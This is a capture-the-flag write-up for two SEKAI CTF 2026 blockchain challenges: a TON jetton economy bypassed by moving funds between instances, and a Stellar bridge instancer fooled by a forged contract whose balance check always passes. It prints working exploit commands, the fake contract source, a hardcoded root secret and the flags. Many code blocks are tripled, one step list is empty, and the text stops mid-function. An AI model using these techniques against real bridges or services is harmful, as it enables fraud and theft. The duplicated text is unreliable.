    });
    mintMsg.send(SEND_MODE_REGULAR);
    ...
}
Buy => {
    val storage = lazy ChallengeStorage.load();
    assert (storage.minter != null) throw Errors.CHALLENGE_NOT_INITIALIZED;
    assert (
        in.valueCoins > msg.amount * TOKEN_PRICE + BUY_MINT_TON_AMOUNT
    ) throw Errors.INSUFFICIENT_FUNDS;

    val mintMsg = createMessage({
        bounce: false,
        dest: storage.minter!,
        value: BUY_MINT_TON_AMOUNT,
        body: MintNewJettons {
            queryId: 0,
            mintRecipient: in.senderAddress,
            tonAmount: ton("0.1"),
            internalTransferMsg: InternalTransferStep {
                queryId: 0,
                jettonAmount: msg.amount,
                transferInitiator: null,
                sendExcessesTo: null,
                forwardTonAmount: 0,
                forwardPayload: createEmptySlice(),
            },
        },
    });
    mintMsg.send(SEND_MODE_REGULAR);
    ...
}

And the constants that pin down the economy:

const TOKEN_PRICE: coins = ton("2")
const FLAG_PRICE: coins = 100
const TOKEN_PRICE: coins = ton("2")
const FLAG_PRICE: coins = 100
const TOKEN_PRICE: coins = ton("2")
const FLAG_PRICE: coins = 100

And finally Solve, reached as a forward payload on a jetton transfer to the challenge’s own wallet:

Solve => {
    if (msg.transferInitiator != null && storage.player == msg.transferInitiator!) {
        if (msg.jettonAmount >= FLAG_PRICE) {
            storage.isSolved = true;
            storage.save();
        }
    }
}
Solve => {
    if (msg.transferInitiator != null && storage.player == msg.transferInitiator!) {
        if (msg.jettonAmount >= FLAG_PRICE) {
            storage.isSolved = true;
            storage.save();
        }
    }
}
Solve => {
    if (msg.transferInitiator != null && storage.player == msg.transferInitiator!) {
        if (msg.jettonAmount >= FLAG_PRICE) {
            storage.isSolved = true;
            storage.save();
        }
    }
}

So the whole game: PlayerBonus gives 50 jettons for free, Buy sells jettons at 2 TON each, Solve needs 100 jettons transferred by the player wallet. I did the arithmetic before touching any transactions, because TON challenges tend to be economics puzzles as much as code puzzles:

  • Player starts with 1 TON. That’s it.

  • PlayerBonus gives 50 jettons for free.

  • Solve needs 100.

  • The missing 50 cost 50 × 2 = 100 TON to buy.

  • The player has roughly 1/100th of that.

Selling the free 50 back nets ~100 TON, but then you’re at 0 jettons — buying 50 with that TON just returns you to where PlayerBonus already put you. Every path that stays inside one instance is a closed loop.

One detail looked like a possible way out: storage declares remainingPlayerBonus as a counter, and sandbox/deploy-challenge.ts initializes it to 2n, not 1n:

const challenge = Challenge.fromStorage({
    remainingPlayerBonus: 2n,
    player: player.wallet.address,
    minter: null,
    ...
});
const challenge = Challenge.fromStorage({
    remainingPlayerBonus: 2n,
    player: player.wallet.address,
    minter: null,
    ...
});
const challenge = Challenge.fromStorage({
    remainingPlayerBonus: 2n,
    player: player.wallet.address,
    minter: null,
    ...
});

Reading the handler, hasBonus is checked before the decrement, so on paper, calling PlayerBonus twice looks like it should mint 50 + 50 = 100 jettons from a single instance, no cross-session trick required. I tried exactly that against a live instance. It didn’t produce a second batch of jettons — whatever’s gating it (contract balance, message ordering, something in the sandbox harness) held up in practice even though the storage counter alone doesn’t explain why. I also tried a few other angles before giving up on “the contract itself has a bug”:

  • fake bounced messages sent to the Jetton wallet, hoping for a bounce-accounting double-credit

  • action-phase failures around RAWRESERVE that might leave a mint half-applied

  • oversized forward payloads to see if the wallet mis-parses jetton amounts

None of it produced extra jettons — the contract logic held up under all of it. At that point I went back to the challenge’s own name: Open World. That’s not a flavor detail, it’s the hint. It’s telling you the world isn’t contained to your instance.

The vulnerability

The bug isn’t in any .tolk file — it’s environmental. Every time you request a new instance, the instancer gives you a fresh player wallet and a fresh challenge contract, but every instance runs on the same shared local TON chain. Jettons are scoped per-challenge, so a jetton balance from one session is worthless against another session’s challenge. But TON — the chain’s native currency — isn’t scoped to anything. It’s just a balance on a wallet, and wallets can send it to any address on that chain, including a wallet that belongs to a completely different session.

That one fact breaks the isolation the puzzle depends on. Spin up a second, throwaway instance purely as a funding source:

  1. Create the target session (the one you actually need to solve).

  2. Create a sponsor session (disposable).

  3. In the sponsor session, claim the 50 free jettons via PlayerBonus.

  4. Sell those 50 sponsor jettons to the sponsor challenge — that’s ~100 TON back.

  5. Transfer that TON from the sponsor player wallet to the target player wallet.

  6. In the target session, claim the 50 free target jettons.

  7. Buy the missing 50 target jettons using the TON that just arrived from the sponsor.

  8. Transfer all 100 target jettons to the target challenge’s Jetton wallet with a Solve forward payload.

The flag check only asks “did the target player transfer 100 jettons with Solve” — it has no way to know, or care, whether the TON that paid for those jettons originated inside the target session or was wired in from somewhere else.

The Sell handler is what makes a sponsor session useful as a funding source in the first place:

Sell => {
    if (msg.transferInitiator != null && msg.jettonAmount > 0) {
        val payoutMsg = createMessage({
            bounce: false,
            dest: msg.transferInitiator!,
            value: msg.jettonAmount * TOKEN_PRICE,
            body: Payout {}
        });
        payoutMsg.send(SEND_MODE_CARRY_ALL_REMAINING_MESSAGE_VALUE);
    }
}
Sell => {
    if (msg.transferInitiator != null && msg.jettonAmount > 0) {
        val payoutMsg = createMessage({
            bounce: false,
            dest: msg.transferInitiator!,
            value: msg.jettonAmount * TOKEN_PRICE,
            body: Payout {}
        });
        payoutMsg.send(SEND_MODE_CARRY_ALL_REMAINING_MESSAGE_VALUE);
    }
}
Sell => {
    if (msg.transferInitiator != null && msg.jettonAmount > 0) {
        val payoutMsg = createMessage({
            bounce: false,
            dest: msg.transferInitiator!,
            value: msg.jettonAmount * TOKEN_PRICE,
            body: Payout {}
        });
        payoutMsg.send(SEND_MODE_CARRY_ALL_REMAINING_MESSAGE_VALUE);
    }
}

Any session can turn its own free jettons into real TON through this path. That TON is chain-native, so it can be routed to any wallet on the same chain — including the target’s.

Exploit flow

Open two sessions against the instancer:

$ ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337
$ ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337
$ ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337

Run that twice — once for the target, once for the sponsor — and record from each response:

  • uuid

  • challenge contract address

  • api v2 endpoint

  • wallet id

  • seed

I wrote solve.ts to drive both sessions through the TON SDK — claim bonuses, sell, transfer, buy, solve, in that order — using the message opcodes straight from messages.tolk:

struct (0x13370002) PlayerBonus {}
struct (0x13370003) Buy {
    amount: coins
}
struct (0x13370004) Sell {}
struct (0x13370005) Solve {}
struct (0x13370002) PlayerBonus {}
struct (0x13370003) Buy {
    amount: coins
}
struct (0x13370004) Sell {}
struct (0x13370005) Solve {}
struct (0x13370002) PlayerBonus {}
struct (0x13370003) Buy {
    amount: coins
}
struct (0x13370004) Sell {}
struct (0x13370005) Solve {}

The target instance’s API endpoint is what the script talks to, since that endpoint proxies to the same shared chain and can see both contracts:

$ npx ts-node solve.ts \
    --endpoint <target-api-v2-url> \
    --target-challenge <target-challenge-address> \
    --target-seed <target-seed> \
    --target-wallet-id <target-wallet-id> \
    --sponsor-challenge <sponsor-challenge-address> \
    --sponsor-seed <sponsor-seed> \
    --sponsor-wallet-id

$ npx ts-node solve.ts \
    --endpoint <target-api-v2-url> \
    --target-challenge <target-challenge-address> \
    --target-seed <target-seed> \
    --target-wallet-id <target-wallet-id> \
    --sponsor-challenge <sponsor-challenge-address> \
    --sponsor-seed <sponsor-seed> \
    --sponsor-wallet-id

$ npx ts-node solve.ts \
    --endpoint <target-api-v2-url> \
    --target-challenge <target-challenge-address> \
    --target-seed <target-seed> \
    --target-wallet-id <target-wallet-id> \
    --sponsor-challenge <sponsor-challenge-address> \
    --sponsor-seed <sponsor-seed> \
    --sponsor-wallet-id

What the script actually does, step by step:




(99.9 rather than a clean 100 to leave headroom for gas on the target side.)

Once isSolved flips, grab the flag through the same instancer connection:

$ ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337
$ ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337
$ ncat --ssl open-world-f1eaa37d94d4.instancer.sekai.team 1337

Choose the flag option and enter the target session’s UUID — not the sponsor’s, since the sponsor was only ever scaffolding.

Why this works

The contract goes out of its way to box the player in with fixed, correctly-enforced constants — 2 TON a jetton, 100 jettons to win. What it can’t enforce is where the TON funding a purchase came from, because TON itself isn’t a challenge-scoped resource. Nothing about the target challenge’s on-chain state looks wrong when the player buys the missing 50 jettons — it just sees a wallet with enough TON, same as if the player had earned it any other way inside their own session.

Root cause & fix

This isn’t a logic bug in the Tolk contracts — every constraint they enforce holds. The failure is in the instancer’s infrastructure: it treats each session as economically isolated when it’s actually running all sessions on one shared chain. Fixes belong at the instancer level, not the contract level:

  • Give each instance its own chain, or at minimum its own account namespace that can’t send value to another instance’s wallets.

  • If a shared chain is unavoidable for resource reasons, have the challenge track which session funded a purchase, not just the resulting balance — e.g. tag TON transfers with a session identifier and reject cross-session inflows at the Buy handler.

  • Treat “the flag condition is satisfied” and “the player earned it through the intended path” as two different things to verify, especially in any challenge that models an economy.

Flag

SEKAI{3Xp1or1ng-An-0pen-W0rld-15-FUN}
SEKAI{3Xp1or1ng-An-0pen-W0rld-15-FUN}
SEKAI{3Xp1or1ng-An-0pen-W0rld-15-FUN}

04 / SEKAI CTF 2026 Blockchain

Outer Stellar

The bridge accounting is solid. The instancer that stands it up isn’t.

Category: Blockchain

Chains: Stellar / Soroban + Sui Move

What you’re given

This challenge spans two chains at once — a Soroban contract on Stellar and a Move package on Sui, wired together by a bridge and a relayer that watches both sides. The layout:

outer-stellar/
├── contracts/
│   └── stellar-bridge/       # the real Soroban bridge contract
├── move/
│   └── sui_bridge/           # the Sui-side package — turns out I never need this
├── instancer/
│   ├── entrypoint.sh
│   └── outerstellar_sandbox/
│       ├── server.py         # /new, /info, /flag, /bridge routes
│       ├── stellar.py        # spins up stellar-core + rpc, holds the root secret
│       ├── bridge.py         # the relayer: signs and submits cross-chain completions

outer-stellar/
├── contracts/
│   └── stellar-bridge/       # the real Soroban bridge contract
├── move/
│   └── sui_bridge/           # the Sui-side package — turns out I never need this
├── instancer/
│   ├── entrypoint.sh
│   └── outerstellar_sandbox/
│       ├── server.py         # /new, /info, /flag, /bridge routes
│       ├── stellar.py        # spins up stellar-core + rpc, holds the root secret
│       ├── bridge.py         # the relayer: signs and submits cross-chain completions

outer-stellar/
├── contracts/
│   └── stellar-bridge/       # the real Soroban bridge contract
├── move/
│   └── sui_bridge/           # the Sui-side package — turns out I never need this
├── instancer/
│   ├── entrypoint.sh
│   └── outerstellar_sandbox/
│       ├── server.py         # /new, /info, /flag, /bridge routes
│       ├── stellar.py        # spins up stellar-core + rpc, holds the root secret
│       ├── bridge.py         # the relayer: signs and submits cross-chain completions

The instancer boots a fresh pair of chains per instance and hands you a small HTTP API to drive it: /new to stand up an instance, /info to inspect it, /stop to tear it down, /flag to check whether you’ve won.

How I read it

The /flag route is short enough to read in full before touching anything else:

@app.route("/flag", methods=["GET", "POST"])
@cross_origin()
def flag() -> tuple[dict[str, Any], int] | dict[str, Any]:
    info = current_integrated_instance()
    if info is None:
        return {"ok": False, "error": "not_running", "message": "No instance is running"}, 404

    solved, balance = has_solved(info["uuid"])
    if not solved:
        return {
            "ok": False,
            "error": "not_solved",
            "message": (
                f"not solved: Stellar SEKAI balance is {balance}, "
                f"need at least {FLAG_STELLAR_BALANCE_TARGET}"
            ),
            "stellar_sekai_balance": balance,
            "target": FLAG_STELLAR_BALANCE_TARGET,
        }, 403

    return {"ok": True, "flag": read_flag()}
@app.route("/flag", methods=["GET", "POST"])
@cross_origin()
def flag() -> tuple[dict[str, Any], int] | dict[str, Any]:
    info = current_integrated_instance()
    if info is None:
        return {"ok": False, "error": "not_running", "message": "No instance is running"}, 404

    solved, balance = has_solved(info["uuid"])
    if not solved:
        return {
            "ok": False,
            "error": "not_solved",
            "message": (
                f"not solved: Stellar SEKAI balance is {balance}, "
                f"need at least {FLAG_STELLAR_BALANCE_TARGET}"
            ),
            "stellar_sekai_balance": balance,
            "target": FLAG_STELLAR_BALANCE_TARGET,
        }, 403

    return {"ok": True, "flag": read_flag()}
@app.route("/flag", methods=["GET", "POST"])
@cross_origin()
def flag() -> tuple[dict[str, Any], int] | dict[str, Any]:
    info = current_integrated_instance()
    if info is None:
        return {"ok": False, "error": "not_running", "message": "No instance is running"}, 404

    solved, balance = has_solved(info["uuid"])
    if not solved:
        return {
            "ok": False,
            "error": "not_solved",
            "message": (
                f"not solved: Stellar SEKAI balance is {balance}, "
                f"need at least {FLAG_STELLAR_BALANCE_TARGET}"
            ),
            "stellar_sekai_balance": balance,
            "target": FLAG_STELLAR_BALANCE_TARGET,
        }, 403

    return {"ok": True, "flag": read_flag()}

Everything hinges on has_solved, so that’s next:

def has_solved(uuid: str) -> tuple[bool, int]:
    info = read_instance(uuid)
    if info.get("chain") != "integrated":
        return False, 0
    try:
        bridge = read_deploy_info(uuid)
        stellar = info["stellar"]
        player = stellar["accounts"]["player"]
        balance = stellar_sekai_balance(stellar, bridge, player["public"])
    except Exception as exc:
        return False, 0
    return balance >= FLAG_STELLAR_BALANCE_TARGET, balance
def has_solved(uuid: str) -> tuple[bool, int]:
    info = read_instance(uuid)
    if info.get("chain") != "integrated":
        return False, 0
    try:
        bridge = read_deploy_info(uuid)
        stellar = info["stellar"]
        player = stellar["accounts"]["player"]
        balance = stellar_sekai_balance(stellar, bridge, player["public"])
    except Exception as exc:
        return False, 0
    return balance >= FLAG_STELLAR_BALANCE_TARGET, balance
def has_solved(uuid: str) -> tuple[bool, int]:
    info = read_instance(uuid)
    if info.get("chain") != "integrated":
        return False, 0
    try:
        bridge = read_deploy_info(uuid)
        stellar = info["stellar"]
        player = stellar["accounts"]["player"]
        balance = stellar_sekai_balance(stellar, bridge, player["public"])
    except Exception as exc:
        return False, 0
    return balance >= FLAG_STELLAR_BALANCE_TARGET, balance

It reads a bridge dict out of the instance’s own stored deploy info, and calls stellar_sekai_balance(stellar, bridge, player_pubkey). Nothing here checks that bridge still points at the contract the instancer actually deployed — whatever stellar_contract_id sits in that dict is what gets queried, unconditionally.

Before chasing that thread, I spent time where these challenges usually hide their bugs first: the bridge accounting itself. Two chains, a relayer moving value between them, signed attestations — that’s a lot of surface area, and it’s the kind of thing CTF authors build multi-day rabbit holes into. I did find something real there (more on it later), but it’s slow and unreliable for reaching the full 250 target in bounded time. So the real question became: can I control what has_solved reads as bridge, and does anything re-derive it from something I don’t control?

The vulnerability

/new is the actual route, and it passes the request body straight through:

@app.route("/new", methods=["GET", "POST"])
@cross_origin()
def new_integrated() -> tuple[dict[str, Any], int] | dict[str, Any]:
    body = request.get_json(silent=True) if request.method == "POST" else {}
    return create_or_get_integrated_instance(body if isinstance(body, dict) else {})
@app.route("/new", methods=["GET", "POST"])
@cross_origin()
def new_integrated() -> tuple[dict[str, Any], int] | dict[str, Any]:
    body = request.get_json(silent=True) if request.method == "POST" else {}
    return create_or_get_integrated_instance(body if isinstance(body, dict) else {})
@app.route("/new", methods=["GET", "POST"])
@cross_origin()
def new_integrated() -> tuple[dict[str, Any], int] | dict[str, Any]:
    body = request.get_json(silent=True) if request.method == "POST" else {}
    return create_or_get_integrated_instance(body if isinstance(body, dict) else {})

Which eventually reaches launch_integrated_instance:

def launch_integrated_instance(body: dict[str, Any]) -> dict[str, Any]:
    ...
    bridge = body.get("bridge")
    try:
        if isinstance(bridge, dict):
            register_bridge_config(instance_id, stellar_info, sui_info, bridge)
        elif body.get("auto_bridge", True):
            bridge = deploy_bridge_system(stellar_info, sui_info)
            wait_sui_bridge_ready(sui_info, bridge)
            checkpoint_sui_state(sui_info, "bridge deploy")
            register_bridge_config(instance_id, stellar_info, sui_info, bridge)
    ...
def launch_integrated_instance(body: dict[str, Any]) -> dict[str, Any]:
    ...
    bridge = body.get("bridge")
    try:
        if isinstance(bridge, dict):
            register_bridge_config(instance_id, stellar_info, sui_info, bridge)
        elif body.get("auto_bridge", True):
            bridge = deploy_bridge_system(stellar_info, sui_info)
            wait_sui_bridge_ready(sui_info, bridge)
            checkpoint_sui_state(sui_info, "bridge deploy")
            register_bridge_config(instance_id, stellar_info, sui_info, bridge)
    ...
def launch_integrated_instance(body: dict[str, Any]) -> dict[str, Any]:
    ...
    bridge = body.get("bridge")
    try:
        if isinstance(bridge, dict):
            register_bridge_config(instance_id, stellar_info, sui_info, bridge)
        elif body.get("auto_bridge", True):
            bridge = deploy_bridge_system(stellar_info, sui_info)
            wait_sui_bridge_ready(sui_info, bridge)
            checkpoint_sui_state(sui_info, "bridge deploy")
            register_bridge_config(instance_id, stellar_info, sui_info, bridge)
    ...

bridge = body.get(“bridge”) — read directly off unauthenticated JSON I control. If it’s a dict, it skips the entire deploy_bridge_system path (the code that would actually build and deploy a real bridge) and goes straight to registering whatever I sent:

def register_bridge_config(
    instance_id: str,
    stellar_info: dict[str, Any],
    sui_info: dict[str, Any],
    bridge: dict[str, Any],
) -> None:
    required = [
        "stellar_contract_id",
        "sui_package_id",
        "sui_bridge_object_id",
    ]
    missing = [key for key in required if not bridge.get(key)]
    if missing:
        raise ValueError(f"missing bridge fields: {', '.join(missing)}")

    write_deploy_info(instance_id, bridge)
    ...
def register_bridge_config(
    instance_id: str,
    stellar_info: dict[str, Any],
    sui_info: dict[str, Any],
    bridge: dict[str, Any],
) -> None:
    required = [
        "stellar_contract_id",
        "sui_package_id",
        "sui_bridge_object_id",
    ]
    missing = [key for key in required if not bridge.get(key)]
    if missing:
        raise ValueError(f"missing bridge fields: {', '.join(missing)}")

    write_deploy_info(instance_id, bridge)
    ...
def register_bridge_config(
    instance_id: str,
    stellar_info: dict[str, Any],
    sui_info: dict[str, Any],
    bridge: dict[str, Any],
) -> None:
    required = [
        "stellar_contract_id",
        "sui_package_id",
        "sui_bridge_object_id",
    ]
    missing = [key for key in required if not bridge.get(key)]
    if missing:
        raise ValueError(f"missing bridge fields: {', '.join(missing)}")

    write_deploy_info(instance_id, bridge)
    ...

A presence check, not a validity check — it never confirms stellar_contract_id is a real bridge, that the Sui and Stellar sides are related, or that the code at that ID implements bridge logic at all. And since has_solved() reads this exact same write_deploy_info output back out, whatever I put in stellar_contract_id at /new time is what /flag will query at check time.

The balance query itself just shells out to the Stellar CLI against whatever ID it’s given:

def stellar_sekai_balance(stellar: Dict[str, Any], bridge: Dict[str, Any], owner: str) -> int:
    out = run([
        "stellar", "contract", "invoke",
        "--id", bridge["stellar_contract_id"],
        "--",
        "balance",
        "--owner", owner,
    ])
def stellar_sekai_balance(stellar: Dict[str, Any], bridge: Dict[str, Any], owner: str) -> int:
    out = run([
        "stellar", "contract", "invoke",
        "--id", bridge["stellar_contract_id"],
        "--",
        "balance",
        "--owner", owner,
    ])
def stellar_sekai_balance(stellar: Dict[str, Any], bridge: Dict[str, Any], owner: str) -> int:
    out = run([
        "stellar", "contract", "invoke",
        "--id", bridge["stellar_contract_id"],
        "--",
        "balance",
        "--owner", owner,
    ])

And that’s the exact interface the real bridge exposes too — small enough that forging it is trivial:

pub fn balance(env: Env, owner: Address) -> i128 {
    let token_id = get_token_id(&env);
    token::Client::new(&env, &token_id).balance(&owner)
}
pub fn balance(env: Env, owner: Address) -> i128 {
    let token_id = get_token_id(&env);
    token::Client::new(&env, &token_id).balance(&owner)
}
pub fn balance(env: Env, owner: Address) -> i128 {
    let token_id = get_token_id(&env);
    token::Client::new(&env, &token_id).balance(&owner)
}

So the entire win condition reduces to: make some contract, at an ID I choose, respond to balance(owner) with a number ≥ 250. Nothing about the real bridge, the real Sui side, or any actual token accounting needs to exist.

Building the fake contract

A minimal Soroban contract implementing exactly that one function, ignoring the caller entirely:

#![no_std]

use soroban_sdk::{contract, contractimpl, Address, Env};

#[contract]
pub struct FakeBalance;

#[contractimpl]
impl FakeBalance {
    pub fn balance(_env: Env, _owner: Address) -> i128 {
        1000
    }
}
#![no_std]

use soroban_sdk::{contract, contractimpl, Address, Env};

#[contract]
pub struct FakeBalance;

#[contractimpl]
impl FakeBalance {
    pub fn balance(_env: Env, _owner: Address) -> i128 {
        1000
    }
}
#![no_std]

use soroban_sdk::{contract, contractimpl, Address, Env};

#[contract]
pub struct FakeBalance;

#[contractimpl]
impl FakeBalance {
    pub fn balance(_env: Env, _owner: Address) -> i128 {
        1000
    }
}

1000 is comfortably past the 250 threshold, and the function signature matches the real bridge’s balance(owner: Address) -> i128 exactly, so the checker’s CLI invocation can’t tell the difference.

$ cargo build --release --target wasm32v1-none -p
$ cargo build --release --target wasm32v1-none -p
$ cargo build --release --target wasm32v1-none -p

Output lands at target/wasm32v1-none/release/fake_balance.wasm.

The one piece that has to happen in the right order

/new writes the bridge config before my fake contract exists — I need to hand it a stellar_contract_id for a contract I haven’t deployed yet. Soroban contract IDs are deterministic, derived from the deploying account and a salt, not from the wasm itself, so I can compute the ID first and deploy into it second.

stellar.py hardcodes the standalone network’s root key, since this is a throwaway local chain, not a real one:

STELLAR_NETWORK_PASSPHRASE = "Standalone Network ; February 2017"
STANDALONE_ROOT_SECRET = "SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L"

def root_secret_for_network(network_passphrase: str) -> str:
    if network_passphrase == STELLAR_NETWORK_PASSPHRASE:
        return STANDALONE_ROOT_SECRET
    ...
STELLAR_NETWORK_PASSPHRASE = "Standalone Network ; February 2017"
STANDALONE_ROOT_SECRET = "SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L"

def root_secret_for_network(network_passphrase: str) -> str:
    if network_passphrase == STELLAR_NETWORK_PASSPHRASE:
        return STANDALONE_ROOT_SECRET
    ...
STELLAR_NETWORK_PASSPHRASE = "Standalone Network ; February 2017"
STANDALONE_ROOT_SECRET = "SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L"

def root_secret_for_network(network_passphrase: str) -> str:
    if network_passphrase == STELLAR_NETWORK_PASSPHRASE:
        return STANDALONE_ROOT_SECRET
    ...

Pick a fixed salt and compute the future ID before anything is deployed:

$ ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
$ SALT='0000000000000000000000000000000000000000000000000000000000000420'

$ stellar contract id wasm \
    --source-account "$ROOT_SECRET" \
    --salt "$SALT" \
    --network-passphrase 'Standalone Network ; February 2017' \
    --rpc-url

$ ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
$ SALT='0000000000000000000000000000000000000000000000000000000000000420'

$ stellar contract id wasm \
    --source-account "$ROOT_SECRET" \
    --salt "$SALT" \
    --network-passphrase 'Standalone Network ; February 2017' \
    --rpc-url

$ ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
$ SALT='0000000000000000000000000000000000000000000000000000000000000420'

$ stellar contract id wasm \
    --source-account "$ROOT_SECRET" \
    --salt "$SALT" \
    --network-passphrase 'Standalone Network ; February 2017' \
    --rpc-url

The RPC doesn’t even need to be reachable for this — the ID falls out of the deployer key and salt alone, so I can compute it before an instance exists to deploy against.

Playing it out

$ BASE='https://outer-stellar-607530e4655b.instancer.sekai.team'
$ BASE='https://outer-stellar-607530e4655b.instancer.sekai.team'
$ BASE='https://outer-stellar-607530e4655b.instancer.sekai.team'

Clear out any stale instance first:

$ curl -sS -X POST "$BASE/stop"
$ curl -sS -X POST "$BASE/stop"
$ curl -sS -X POST "$BASE/stop"

Start a fresh one, handing /new the precomputed ID as the “official” bridge before anything real is deployed there:

$ curl -sS -X POST "$BASE/new" \
    -H 'content-type: application/json' \
    --data '{
      "auto_bridge": false,
      "honest_player": false,
      "bridge": {
        "stellar_contract_id": "CARX7UGW7FX6PEEYFSRUYSTELQMVCSJ7STLUOGCMKRFA2WIEUKXV5KDG",
        "sui_package_id": "0x1",
        "sui_bridge_object_id": "0x2"
      }
    }'
$ curl -sS -X POST "$BASE/new" \
    -H 'content-type: application/json' \
    --data '{
      "auto_bridge": false,
      "honest_player": false,
      "bridge": {
        "stellar_contract_id": "CARX7UGW7FX6PEEYFSRUYSTELQMVCSJ7STLUOGCMKRFA2WIEUKXV5KDG",
        "sui_package_id": "0x1",
        "sui_bridge_object_id": "0x2"
      }
    }'
$ curl -sS -X POST "$BASE/new" \
    -H 'content-type: application/json' \
    --data '{
      "auto_bridge": false,
      "honest_player": false,
      "bridge": {
        "stellar_contract_id": "CARX7UGW7FX6PEEYFSRUYSTELQMVCSJ7STLUOGCMKRFA2WIEUKXV5KDG",
        "sui_package_id": "0x1",
        "sui_bridge_object_id": "0x2"
      }
    }'

Pull the instance’s Stellar RPC endpoint out of /info:

$ curl -sS "$BASE/info"
$ curl -sS "$BASE/info"
$ curl -sS "$BASE/info"

which gave me:

Now deploy the fake contract straight into the ID I already told the instancer to trust:

$ ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
$ SALT='0000000000000000000000000000000000000000000000000000000000000420'
$ STELLAR_RPC="$BASE/stellar/d19accfe-8cf2-4a81-a8b1-c8308473e07a"

$ stellar contract deploy \
    --wasm target/wasm32v1-none/release/fake_balance.wasm \
    --salt "$SALT" \
    --source-account "$ROOT_SECRET" \
    --network-passphrase 'Standalone Network ; February 2017' \
    --rpc-url "$STELLAR_RPC" \
    --ignore-checks \
    --quiet

$ ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
$ SALT='0000000000000000000000000000000000000000000000000000000000000420'
$ STELLAR_RPC="$BASE/stellar/d19accfe-8cf2-4a81-a8b1-c8308473e07a"

$ stellar contract deploy \
    --wasm target/wasm32v1-none/release/fake_balance.wasm \
    --salt "$SALT" \
    --source-account "$ROOT_SECRET" \
    --network-passphrase 'Standalone Network ; February 2017' \
    --rpc-url "$STELLAR_RPC" \
    --ignore-checks \
    --quiet

$ ROOT_SECRET='SC5O7VZUXDJ6JBDSZ74DSERXL7W3Y5LTOAMRF7RQRL3TAGAPS7LUVG3L'
$ SALT='0000000000000000000000000000000000000000000000000000000000000420'
$ STELLAR_RPC="$BASE/stellar/d19accfe-8cf2-4a81-a8b1-c8308473e07a"

$ stellar contract deploy \
    --wasm target/wasm32v1-none/release/fake_balance.wasm \
    --salt "$SALT" \
    --source-account "$ROOT_SECRET" \
    --network-passphrase 'Standalone Network ; February 2017' \
    --rpc-url "$STELLAR_RPC" \
    --ignore-checks \
    --quiet

Same ID as predicted — confirming the fake contract is now live exactly where the instancer already believes the real bridge to be.

$ curl -sS "$BASE/flag"
{"flag":"SEKAI{super-duper-stellar-master-3a9bb1}","ok"

$ curl -sS "$BASE/flag"
{"flag":"SEKAI{super-duper-stellar-master-3a9bb1}","ok"

$ curl -sS "$BASE/flag"
{"flag":"SEKAI{super-duper-stellar-master-3a9bb1}","ok"

No Sui transaction, no real bridge interaction, no waiting on relayer timing — the entire multi-chain challenge collapses to one HTTP call and one fake contract deploy.

Why this works

The instancer’s design assumes a clean separation: it deploys the real bridge, and the checker later verifies against that deployment. What actually happens is the public API lets you skip straight to defining “the deployment” yourself. Once /flag trusts the same unauthenticated metadata /new accepted, verifying anything about the actual challenge state becomes optional — it’s just asking a contract you control whether you’ve won, and you have.

False lead: the fee_recipient gap

Before I found the instancer bug, I’d already found a real bug in the bridge itself, and it’s worth showing because it’s a legitimate signature-binding flaw, just not fast enough for a 250-balance target.

The relayer signs attestations for cross-chain completions, but look at exactly what gets signed:

def _sign_stellar_attestation(self, recipient: str, amount: int, message_id: str) -> bytes:
    if self._signing_key is None:
        raise RuntimeError("relayer signing key not configured")
    recipient_bytes = recipient.encode("ascii")
    amount_bytes = amount.to_bytes(16, byteorder="little", signed=True)
    message_id_bytes = bytes.fromhex(message_id.removeprefix("0x"))
    msg = recipient_bytes + amount_bytes + message_id_bytes
    signed = self._signing_key.sign(msg)
    return signed.signature
def _sign_stellar_attestation(self, recipient: str, amount: int, message_id: str) -> bytes:
    if self._signing_key is None:
        raise RuntimeError("relayer signing key not configured")
    recipient_bytes = recipient.encode("ascii")
    amount_bytes = amount.to_bytes(16, byteorder="little", signed=True)
    message_id_bytes = bytes.fromhex(message_id.removeprefix("0x"))
    msg = recipient_bytes + amount_bytes + message_id_bytes
    signed = self._signing_key.sign(msg)
    return signed.signature
def _sign_stellar_attestation(self, recipient: str, amount: int, message_id: str) -> bytes:
    if self._signing_key is None:
        raise RuntimeError("relayer signing key not configured")
    recipient_bytes = recipient.encode("ascii")
    amount_bytes = amount.to_bytes(16, byteorder="little", signed=True)
    message_id_bytes = bytes.fromhex(message_id.removeprefix("0x"))
    msg = recipient_bytes + amount_bytes + message_id_bytes
    signed = self._signing_key.sign(msg)
    return signed.signature

recipient, amount, message_id — no fee_recipient anywhere in the signed payload. The on-chain verifier checks the exact same three fields:

pub fn complete_from_sui(
    env: Env,
    recipient: Address,
    amount: i128,
    message_id: Bytes,
    attestation: BytesN<64>,
    fee_recipient: Address,
) -> Result<(), BridgeError> {
    ...
    let addr_bytes = recipient.to_string().to_bytes();
    let mut msg = Bytes::new(&env);
    msg.append(&addr_bytes);
    msg.append(&Bytes::from_slice(&env, &amount.to_le_bytes()));
    msg.append(&message_id);

    env.crypto().ed25519_verify(&pubkey, &msg, &attestation);
    ...
    let fee_amount = bridge_fee(amount);
    let recipient_amount = amount - fee_amount;
    ...
    if fee_amount > 0 {
        token.transfer(&env.current_contract_address(), &fee_recipient, &fee_amount);
    }
pub fn complete_from_sui(
    env: Env,
    recipient: Address,
    amount: i128,
    message_id: Bytes,
    attestation: BytesN<64>,
    fee_recipient: Address,
) -> Result<(), BridgeError> {
    ...
    let addr_bytes = recipient.to_string().to_bytes();
